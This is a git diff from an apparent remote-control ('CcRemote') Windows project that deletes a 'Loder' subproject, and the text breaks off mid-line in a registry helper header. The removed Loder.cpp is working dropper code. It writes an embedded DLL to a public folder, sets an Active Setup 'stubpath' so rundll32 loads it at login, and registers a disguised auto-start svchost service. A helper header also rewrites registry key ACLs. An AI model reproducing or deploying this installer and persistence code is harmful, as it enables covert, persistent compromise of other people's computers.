diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo index af055b7..86b53dd 100644 Binary files a/CcMainDll/.vs/CcMainDll/v15/.suo and b/CcMainDll/.vs/CcMainDll/v15/.suo differ diff --git a/CcMainDll/CcMainDll.sln b/CcMainDll/CcMainDll.sln index f3ed394..2c2c7ff 100644 --- a/CcMainDll/CcMainDll.sln +++ b/CcMainDll/CcMainDll.sln @@ -5,10 +5,6 @@ VisualStudioVersion = 15.0.28307.1082 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CcMainDll", "CcMainDll\CcMainDll.vcxproj", "{912043E1-526F-4C23-AF8B-0D76C07F5723}" EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestLoadDll", "TestLoadDll\TestLoadDll.vcxproj", "{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Loder", "Loder\Loder.vcxproj", "{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}" -EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 @@ -25,22 +21,6 @@ Global {912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x64.Build.0 = Release|x64 {912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x86.ActiveCfg = Release|Win32 {912043E1-526F-4C23-AF8B-0D76C07F5723}.Release|x86.Build.0 = Release|Win32 - {7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x64.ActiveCfg = Debug|x64 - {7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x64.Build.0 = Debug|x64 - {7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x86.ActiveCfg = Debug|Win32 - {7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Debug|x86.Build.0 = Debug|Win32 - {7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x64.ActiveCfg = Release|x64 - {7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x64.Build.0 = Release|x64 - {7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.ActiveCfg = Release|Win32 - {7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.Build.0 = Release|Win32 - {B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x64.ActiveCfg = Debug|x64 - {B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x64.Build.0 = Debug|x64 - {B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x86.ActiveCfg = Debug|Win32 - {B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x86.Build.0 = Debug|Win32 - {B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x64.ActiveCfg = Release|x64 - {B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x64.Build.0 = Release|x64 - {B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x86.ActiveCfg = Release|Win32 - {B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/CcMainDll/Loder/Debug/Loder.Build.CppClean.log b/CcMainDll/Loder/Debug/Loder.Build.CppClean.log deleted file mode 100644 index 65eeb36..0000000 --- a/CcMainDll/Loder/Debug/Loder.Build.CppClean.log +++ /dev/null @@ -1,17 +0,0 @@ -f:\myapp\ccremote\ccmaindll\loder\debug\vc141.pdb -f:\myapp\ccremote\ccmaindll\loder\debug\vc141.idb -f:\myapp\ccremote\ccmaindll\loder\debug\loder.obj -f:\myapp\ccremote\bin\server\loder.exe -f:\myapp\ccremote\bin\server\loder.ilk -f:\myapp\ccremote\bin\server\loder.pdb -f:\myapp\ccremote\ccmaindll\loder\debug\loder.res -f:\myapp\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe -f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.command.1.tlog -f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.read.1.tlog -f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\cl.write.1.tlog -f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.command.1.tlog -f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.read.1.tlog -f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\link.write.1.tlog -f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.command.1.tlog -f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.read.1.tlog -f:\myapp\ccremote\ccmaindll\loder\debug\loder.tlog\rc.write.1.tlog diff --git a/CcMainDll/Loder/Debug/Loder.log b/CcMainDll/Loder/Debug/Loder.log deleted file mode 100644 index 497f46d..0000000 --- a/CcMainDll/Loder/Debug/Loder.log +++ /dev/null @@ -1,30 +0,0 @@ -C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 - Loder.cpp - _WIN32_WINNT not defined. Defaulting to _WIN32_WINNT_MAXVER (see WinSDKVer.h) -f:\myapp\ccremote\ccmaindll\loder\regeditex.h(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明 -f:\myapp\ccremote\ccmaindll\loder\regeditex.h(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -f:\myapp\ccremote\ccmaindll\loder\regeditex.h(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明 -f:\myapp\ccremote\ccmaindll\loder\regeditex.h(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明 -f:\myapp\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -f:\myapp\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(94): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(287): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1961): note: 参见“_snprintf”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(327): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(328): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(329): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(334): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(339): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 - Loder.vcxproj -> F:\myapp\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe diff --git a/CcMainDll/Loder/Debug/Loder.res b/CcMainDll/Loder/Debug/Loder.res deleted file mode 100644 index df05643..0000000 Binary files a/CcMainDll/Loder/Debug/Loder.res and /dev/null differ diff --git a/CcMainDll/Loder/Debug/Loder.tlog/Loder.lastbuildstate b/CcMainDll/Loder/Debug/Loder.tlog/Loder.lastbuildstate deleted file mode 100644 index bd1e4f2..0000000 --- a/CcMainDll/Loder/Debug/Loder.tlog/Loder.lastbuildstate +++ /dev/null @@ -1,2 +0,0 @@ -#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0 -Debug|Win32|F:\myapp\CcRemote\CcMainDll\| diff --git a/CcMainDll/Loder/Loder.cpp b/CcMainDll/Loder/Loder.cpp deleted file mode 100644 index 5f3a4d5..0000000 --- a/CcMainDll/Loder/Loder.cpp +++ /dev/null @@ -1,366 +0,0 @@ -// Loder.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 -// -#include -#include -#include -#include "resource.h" -#include "RegEditEx.h" -#include - - -#pragma comment(lib, "shell32.lib") - -struct Connect_Address -{ - DWORD dwstact; - char strIP[MAX_PATH]; - int nPort; - char ActiveXKeyGuid[MAX_PATH]; // 查找创建的Guid -}g_myAddress = { 0xCC28257,"",0,"" }; - - - -int memfind(const char *mem, const char *str, int sizem, int sizes) -{ - int da, i, j; - if (sizes == 0) da = strlen(str); - else da = sizes; - for (i = 0; i < sizem; i++) - { - for (j = 0; j < da; j++) - if (mem[i + j] != str[j]) break; - if (j == da) return i; - } - return -1; -} - -bool CreateMyFile(const char* strFilePath, LPBYTE lpBuffer, DWORD dwSize) -{ - DWORD dwWritten; - - HANDLE hFile = CreateFile(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); - if (hFile != NULL) - { - WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL); - } - else - { - return false; - } - CloseHandle(hFile); - return true; -} -//要释放的路径 资源ID 资源名 -bool CreateEXE(const char* strFilePath, int nResourceID, const char* strResourceName,char* pActiveXKeyGuid = NULL) -{ - HRSRC hResInfo; - HGLOBAL hResData; - DWORD dwSize; - LPBYTE p; - // 查找所需的资源 - hResInfo = FindResource(NULL, MAKEINTRESOURCE(nResourceID), strResourceName); - if (hResInfo == NULL) - { - //MessageBox(NULL, "查找资源失败!", "错误", MB_OK | MB_ICONINFORMATION); - return false; - } - // 获得资源尺寸 - dwSize = SizeofResource(NULL, hResInfo); - // 装载资源 - hResData = LoadResource(NULL, hResInfo); - if (hResData == NULL) - { - //MessageBox(NULL, "装载资源失败!", "错误", MB_OK | MB_ICONINFORMATION); - return false; - } - // 为数据分配空间 - p = (LPBYTE)GlobalAlloc(GPTR, dwSize); - if (p == NULL) - { - //MessageBox(NULL, "分配内存失败!", "错误", MB_OK | MB_ICONINFORMATION); - return false; - } - // 复制资源数据 - CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize); - - // 设置guid - if (pActiveXKeyGuid != NULL) - { - g_myAddress.dwstact = g_myAddress.dwstact - 1;//不然内存中会有两个CC28256 我们只招一个 - int nOffset = memfind((char*)p, (char*)&g_myAddress.dwstact, dwSize, sizeof(DWORD)); - if (nOffset >= 0) - { - memcpy(&g_myAddress, p + nOffset, sizeof(Connect_Address)); - strcpy(g_myAddress.ActiveXKeyGuid, pActiveXKeyGuid); - memcpy(p + nOffset, &g_myAddress, sizeof(Connect_Address)); - } - - } - - bool bRet = CreateMyFile(strFilePath, p, dwSize); - if (!bRet) - { - GlobalFree((HGLOBAL)p); - return false; - } - - GlobalFree((HGLOBAL)p); - - return true; -} - -char *AddsvchostService() -{ - char *lpServiceName = NULL; - int rc = 0; - HKEY hkRoot; - char buff[2048]; - //打开装所有svchost服务名的注册表键 - //query svchost setting - char *ptr; - char pSvchost[] = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost"; - rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS, &hkRoot); - if (ERROR_SUCCESS != rc) - return NULL; - - DWORD type, size = sizeof buff; - //枚举他所有的服务名 - rc = RegQueryValueEx(hkRoot, "netsvcs", 0, &type, (unsigned char*)buff, &size); - SetLastError(rc); - if (ERROR_SUCCESS != rc) - RegCloseKey(hkRoot); - - int i = 0; - bool bExist = false; - char servicename[50]; - do - { - //这里获得类似这样的服务名netsvcs_0,netsvcs_1 - wsprintf(servicename, "netsvcs_0x%d", i); - for (ptr = buff; *ptr; ptr = strchr(ptr, 0) + 1) - { - //然后比对一下服务名中是否有这个名字了 - if (lstrcmpi(ptr, servicename) == 0) - { - bExist = true; - break; //如果没有就跳出 - } - } - if (bExist == false) - break; - bExist = false; - i++; - } while (1); - - servicename[lstrlen(servicename) + 1] = '\0'; - //然后将这个服务名写到所有服务名的后面, - //不要妄想,直接用api在一个注册表的键值后面添加一些信息 - memcpy(buff + size - 1, servicename, lstrlen(servicename) + 2); - //然后将含有新服务名的缓冲区写入注册表,注册表里原有内容被覆盖 - rc = RegSetValueEx(hkRoot, "netsvcs", 0, REG_MULTI_SZ, (unsigned char*)buff, size + lstrlen(servicename) + 1); - - RegCloseKey(hkRoot); - - SetLastError(rc); - - if (bExist == false) - { - lpServiceName = new char[lstrlen(servicename) + 1]; - lstrcpy(lpServiceName, servicename); - } - //回到 InstallService - return lpServiceName; -} - -void StartService(LPCTSTR lpService) -{ - SC_HANDLE hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); - if (NULL != hSCManager) - { - SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START); - if (NULL != hService) - { - StartService(hService, 0, NULL); - CloseServiceHandle(hService); - printf("lpService"); - } - CloseServiceHandle(hSCManager); - } -} - - -int ServerSetup() -{ - - //CreateEXE("E:\\aaa.dll", IDR_DLL1, "DLL"); - char lpServiceDescription[]= "CcRemote服务"; - char strModulePath[MAX_PATH]; - char strSysDir[MAX_PATH]; - char strSubKey[1024]; - DWORD dwStartType = 0; - char strRegKey[1024]; - int rc = 0; - HKEY hkRoot = HKEY_LOCAL_MACHINE, hkParam = 0; - SC_HANDLE hscm = NULL, schService = NULL; - - //打开服务 - hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); - GetSystemDirectory(strSysDir, sizeof(strSysDir)); - char bin[] = "%SystemRoot%\\System32\\svchost.exe -k netsvcs"; - char *lpServiceName = AddsvchostService(); //*添加的代码在这个函数中* - char lpServiceDisplayName[128] = {0}; - wsprintf(lpServiceDisplayName, "%s_ms,", lpServiceName); - //这里返回新的服务名后就构造服务dll的名字 - memset(strModulePath, 0, sizeof(strModulePath)); - wsprintf(strModulePath, "%s\\%sex.dll", strSysDir, lpServiceName); - - //然后构造服务中的描述信息的位置 - wsprintf(strRegKey, "MACHINE\\SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName); - - schService = CreateService( - hscm, // SCManager database - lpServiceName, // name of service - lpServiceDisplayName, // service name to display - SERVICE_ALL_ACCESS, // desired access - SERVICE_WIN32_OWN_PROCESS, - SERVICE_AUTO_START, // start type - SERVICE_ERROR_NORMAL, // error control type - bin, // service's binary - NULL, // no load ordering group - NULL, // no tag identifier - NULL, // no dependencies - NULL, // LocalSystem account - NULL); // no password - dwStartType = SERVICE_WIN32_OWN_PROCESS; - - if (schService == NULL) - { - throw "CreateService(Parameters)"; - printf("schServicenull"); - } - - - CloseServiceHandle(schService); - CloseServiceHandle(hscm); - - hkRoot = HKEY_LOCAL_MACHINE; - //这里构造服务的描述键 - wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName); - if (dwStartType == SERVICE_WIN32_SHARE_PROCESS) - { - DWORD dwServiceType = 0x120; - - //写入服务的描述 - WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Type", REG_DWORD, (char *)&dwServiceType, sizeof(DWORD), 0); - } - //写入服务的描述 - WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Description", REG_SZ, (char *)lpServiceDescription, lstrlen(lpServiceDescription), 0); - - lstrcat(strSubKey, "\\Parameters"); - //写入服务的描述 - WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ServiceDll", REG_EXPAND_SZ, (char *)strModulePath, lstrlen(strModulePath), 0); - - if (schService != NULL) - { - CreateEXE(strModulePath, IDR_DLL1, "DLL"); - StartService(lpServiceName); - } - RegCloseKey(hkRoot); - RegCloseKey(hkParam); - CloseServiceHandle(schService); - CloseServiceHandle(hscm); - system("pause"); - return 0; - -} - - - - -BOOL GetNUM(char *num) -{ - CoInitialize(NULL); - char buf[64] = { 0 }; - GUID guid; - if (S_OK == ::CoCreateGuid(&guid)) - { - _snprintf(buf, sizeof(buf) - , "{%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X}" - , guid.Data1 - , guid.Data2 - , guid.Data3 - , guid.Data4[0], guid.Data4[1], guid.Data4[2] - , guid.Data4[3], guid.Data4[4], guid.Data4[5] - , guid.Data4[6], guid.Data4[7] - ); - } - CoUninitialize(); - memcpy(num, buf, 64); - return TRUE; -} - -void ActiveXSetup() -{ - HKEY hKey; - char strFileName[MAX_PATH]; // dll文件名 - char ActivexStr[1024]; // 用于存储ActiveX的键字串 - char ActiveXKey[64]; // ActiveX 的GUID字串 - char strCmdLine[MAX_PATH]; // 存储启动的命令行参数 - char fileName[MAX_PATH] = "cserver"; // ActiveX 的GUID字串 - - // ActiveX路径 - char ActiveXPath[MAX_PATH] = "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\"; - - ZeroMemory(strFileName, MAX_PATH); - //ZeroMemory(ActiveXPath, MAX_PATH); - ZeroMemory(ActivexStr, 1024); - ZeroMemory(ActiveXKey, 64); - ZeroMemory(strCmdLine, MAX_PATH); - - //得到Activex路径 - //strcpy(ActiveXPath, "SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\"); - //得到Activex的GUID - GetNUM(ActiveXKey); - //构造dll完整文件名 - //GetSystemDirectory(strFileName, MAX_PATH); - SHGetSpecialFolderPath(NULL, strFileName, CSIDL_COMMON_PICTURES, TRUE); - strcat(strFileName, "\\"); - strcat(strFileName, fileName); - strcat(strFileName, ".dll"); - - - - //构造ActiveX的注册表键值 - sprintf(ActivexStr, "%s%s", ActiveXPath, ActiveXKey); - //创建这个注册表 - RegCreateKey(HKEY_LOCAL_MACHINE, ActivexStr, &hKey); - - //构造程序启动的命令行参数 - sprintf(strCmdLine, "%s %s,FirstRun", "rundll32.exe", strFileName); - //将参数写道注册表中 - RegSetValueEx(hKey, "stubpath", 0, REG_EXPAND_SZ, (BYTE *)strCmdLine, lstrlen(strCmdLine)); - //RegCloseKey(hKey); - //释放文件 - CreateEXE(strFileName, IDR_DLL1, "DLL", ActiveXKey); - - //启动服务端 - STARTUPINFO StartInfo; - PROCESS_INFORMATION ProcessInformation; - StartInfo.cb = sizeof(STARTUPINFO); - StartInfo.lpDesktop = NULL; - StartInfo.lpReserved = NULL; - StartInfo.lpTitle = NULL; - StartInfo.dwFlags = STARTF_USESHOWWINDOW; - StartInfo.cbReserved2 = 0; - StartInfo.lpReserved2 = NULL; - StartInfo.wShowWindow = SW_SHOWNORMAL; - BOOL bReturn = CreateProcess(NULL, strCmdLine, NULL, NULL, FALSE, NULL, NULL, NULL, &StartInfo, &ProcessInformation); - return; -} - -int main() -{ - // TODO: Place code here. - ActiveXSetup(); - return 0; -} diff --git a/CcMainDll/Loder/Loder.rc b/CcMainDll/Loder/Loder.rc deleted file mode 100644 index d4c8eb7..0000000 Binary files a/CcMainDll/Loder/Loder.rc and /dev/null differ diff --git a/CcMainDll/Loder/Loder.vcxproj b/CcMainDll/Loder/Loder.vcxproj deleted file mode 100644 index 79f115f..0000000 --- a/CcMainDll/Loder/Loder.vcxproj +++ /dev/null @@ -1,181 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - Debug - x64 - - - Release - x64 - - - - 15.0 - {B3E9754C-1ED9-4A3B-95BE-B3920B5B827B} - Win32Proj - Loder - 10.0.17763.0 - - - - Application - true - v141 - MultiByte - - - Application - false - v141 - true - MultiByte - - - Application - true - v141 - Unicode - - - Application - false - v141 - true - Unicode - - - - - - - - - - - - - - - - - - - - - true - ..\\..\\bin\\server - - - true - - - false - ..\\..\\bin\\server - - - false - - - - - - Level3 - Disabled - false - WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - MultiThreadedDebug - - - Console - true - ..\\..\\bin\\server\\loder.exe - - - - - - - Level3 - Disabled - true - _DEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - ..\\..\\bin\\server\\loder.exe - - - - - - - Level3 - MinSpace - true - true - false - WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - MultiThreadedDebug - Size - - - Console - true - true - true - ..\\..\\bin\\server\\loder.exe - - - - - - - Level3 - MaxSpeed - true - true - true - NDEBUG;_CONSOLE;%(PreprocessorDefinitions) - true - - - Console - true - true - true - ..\\..\\bin\\server\\loder.exe - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/CcMainDll/Loder/Loder.vcxproj.filters b/CcMainDll/Loder/Loder.vcxproj.filters deleted file mode 100644 index 1eb2c3e..0000000 --- a/CcMainDll/Loder/Loder.vcxproj.filters +++ /dev/null @@ -1,43 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;hm;inl;inc;ipp;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - 源文件 - - - - - 头文件 - - - 头文件 - - - - - 资源文件 - - - - - - - - 资源文件 - - - \ No newline at end of file diff --git a/CcMainDll/Loder/Loder.vcxproj.user b/CcMainDll/Loder/Loder.vcxproj.user deleted file mode 100644 index be25078..0000000 --- a/CcMainDll/Loder/Loder.vcxproj.user +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/CcMainDll/Loder/RegEditEx.h b/CcMainDll/Loder/RegEditEx.h deleted file mode 100644 index 17eb5c6..0000000 --- a/CcMainDll/Loder/RegEditEx.h +++ /dev/null @@ -1,243 +0,0 @@ -#include - -//ȥַǰĿո -char *DelSpace(char *szData) -{ - int i=0 ; - while(1) - { - if(strnicmp(szData+i," ",1)) - break; - i++; - } - return (szData+i); -} - -//עȡȨ(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS) -int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security) -{ - HKEY hKey; - SID_IDENTIFIER_AUTHORITY sia = SECURITY_NT_AUTHORITY; - PSID pSystemSid = NULL; - PSID pUserSid = NULL; - SECURITY_DESCRIPTOR sd; - PACL pDacl = NULL; - DWORD dwAclSize; - int iResult = 0; - - __try - { - if(RegOpenKeyEx(MainKey, SubKey, 0, WRITE_DAC, &hKey)!= ERROR_SUCCESS) - __leave; - if(!AllocateAndInitializeSid(&sia,1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid )) - __leave; - if(!AllocateAndInitializeSid( &sia, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,0, 0, 0, 0, 0, 0, &pUserSid)) - __leave; - dwAclSize = sizeof(ACL) + 2 * ( sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD) ) + GetLengthSid(pSystemSid) + GetLengthSid(pUserSid) ; - pDacl = (PACL)HeapAlloc(GetProcessHeap(), 0, dwAclSize); - if(pDacl == NULL) - __leave; - if(!InitializeAcl(pDacl, dwAclSize, ACL_REVISION)) - __leave; - if(!AddAccessAllowedAce( pDacl, ACL_REVISION, KEY_ALL_ACCESS, pSystemSid )) - __leave; - if(!AddAccessAllowedAce( pDacl, ACL_REVISION, (unsigned long)security, pUserSid )) - __leave; - if(!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION)) - __leave; - if(!SetSecurityDescriptorDacl(&sd, TRUE, pDacl, FALSE)) - __leave; - if(RegSetKeySecurity(hKey, (SECURITY_INFORMATION)DACL_SECURITY_INFORMATION, &sd)!= ERROR_SUCCESS) - __leave; - iResult =1; - } - __finally - { - RegCloseKey(MainKey); - RegCloseKey(hKey); - - if(pDacl !=NULL) - HeapFree(GetProcessHeap(), 0, pDacl); - if(pSystemSid !=NULL) - FreeSid(pSystemSid); - if(pUserSid !=NULL) - FreeSid(pUserSid); - } - - return iResult; -} -//ȡעָ(Mode:0-ֵ 1-Ӽ 2-ָ 3-жϸüǷ) -int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode) -{ - HKEY hKey; - int ValueDWORD,iResult=0; - char* PointStr; - char KeyName[32],ValueSz[MAX_PATH],ValueTemp[MAX_PATH]; - DWORD szSize,KnSize,dwIndex=0; - - memset(KeyName,0,sizeof(KeyName)); - memset(ValueSz,0,sizeof(ValueSz)); - memset(ValueTemp,0,sizeof(ValueTemp)); - - __try - { - // SetKeySecurityEx(MainKey,SubKey,KEY_ALL_ACCESS); - if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ,&hKey) != ERROR_SUCCESS) - { - iResult = -1; - __leave; - } - switch(Mode) - { - case 0: - switch(Type) - { - case REG_SZ: - case REG_EXPAND_SZ: - szSize = sizeof(ValueSz); - if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS) - { - strcpy(szData,DelSpace(ValueSz)); - iResult =1; - } - break; - case REG_MULTI_SZ: - szSize = sizeof(ValueSz); - if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS) - { - for(PointStr = ValueSz; *PointStr; PointStr = strchr(PointStr,0)+1) - { - - strncat(ValueTemp,PointStr,sizeof(ValueTemp)); - strncat(ValueTemp," ",sizeof(ValueTemp)); - } - strcpy(szData,ValueTemp); - iResult =1; - } - break; - case REG_DWORD: - szSize = sizeof(DWORD); - if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)&ValueDWORD,&szSize ) == ERROR_SUCCESS) - { - wsprintf(szData,"%d",ValueDWORD); - iResult =1; - } - break; - case REG_BINARY: - szSize = lbSize; - if(RegQueryValueEx(hKey,Vname,NULL,&Type,szBytes,&szSize) == ERROR_SUCCESS) - iResult =1; - break; - } - break; - case 1: - while(1) - { - memset(ValueSz,0,sizeof(ValueSz)); - szSize = sizeof(ValueSz); - if(RegEnumKeyEx(hKey,dwIndex++,ValueSz,&szSize,NULL,NULL,NULL,NULL) != ERROR_SUCCESS) - break; - wsprintf(ValueTemp,"[%s]\r\n",ValueSz); - strcat(szData,ValueTemp); - iResult =1; - } - break; - case 2: - while(1) - { - memset(KeyName,0,sizeof(KeyName)); - memset(ValueSz,0,sizeof(ValueSz)); - memset(ValueTemp,0,sizeof(ValueTemp)); - KnSize = sizeof(KeyName); - szSize = sizeof(ValueSz); - if(RegEnumValue(hKey,dwIndex++,KeyName,&KnSize,NULL,&Type,(LPBYTE)ValueSz,&szSize) != ERROR_SUCCESS) - break; - switch(Type) - { - case REG_SZ: - wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_SZ",ValueSz); - break; - case REG_EXPAND_SZ: - wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_EXPAND_SZ",ValueSz); - break; - case REG_DWORD: - wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName,"REG_DWORD",ValueSz,int(ValueSz)); - break; - case REG_MULTI_SZ: - wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_MULTI_SZ"); - break; - case REG_BINARY: - wsprintf(ValueTemp,"%-24s %-15s 